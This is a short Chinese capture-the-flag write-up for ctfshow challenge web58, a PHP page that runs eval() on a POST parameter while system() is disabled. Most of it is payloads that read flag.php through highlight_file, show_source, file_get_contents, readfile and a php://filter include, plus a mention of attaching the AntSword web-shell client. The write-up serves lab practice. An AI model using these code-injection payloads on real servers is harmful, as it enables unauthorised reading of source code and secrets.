[ctfshow web入门] web58
信息收集
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
这麽简单?
解题
好吧,还是我想得太简单了
把system禁用了。不是参数过滤,而是直接禁用,不管是间接还是直接调用system都不行,所以之前的一些方法不能用了,比如日志包含,间接传参啥的。
我首先想到了,直接使用读文件的函数读取不就好了
然后想到了,蚁剑这种高级工具,应高有办法解决这种问题的吧,肯定不止eval一个绕过函数。
果然一个highlight_file就解决了
c=highlight_file("flag.php");
c=show_source("flag.php");
c=print_r(file("flag.php"));
还有能各种加密的include,实在是没啥必要,能直接看为啥要加密嗷
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
这些方法需要抓包,不会直接显示在渲染界面上
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
蚁剑也是随便接入,参考[ctfshow web入门] web31
web 目录 web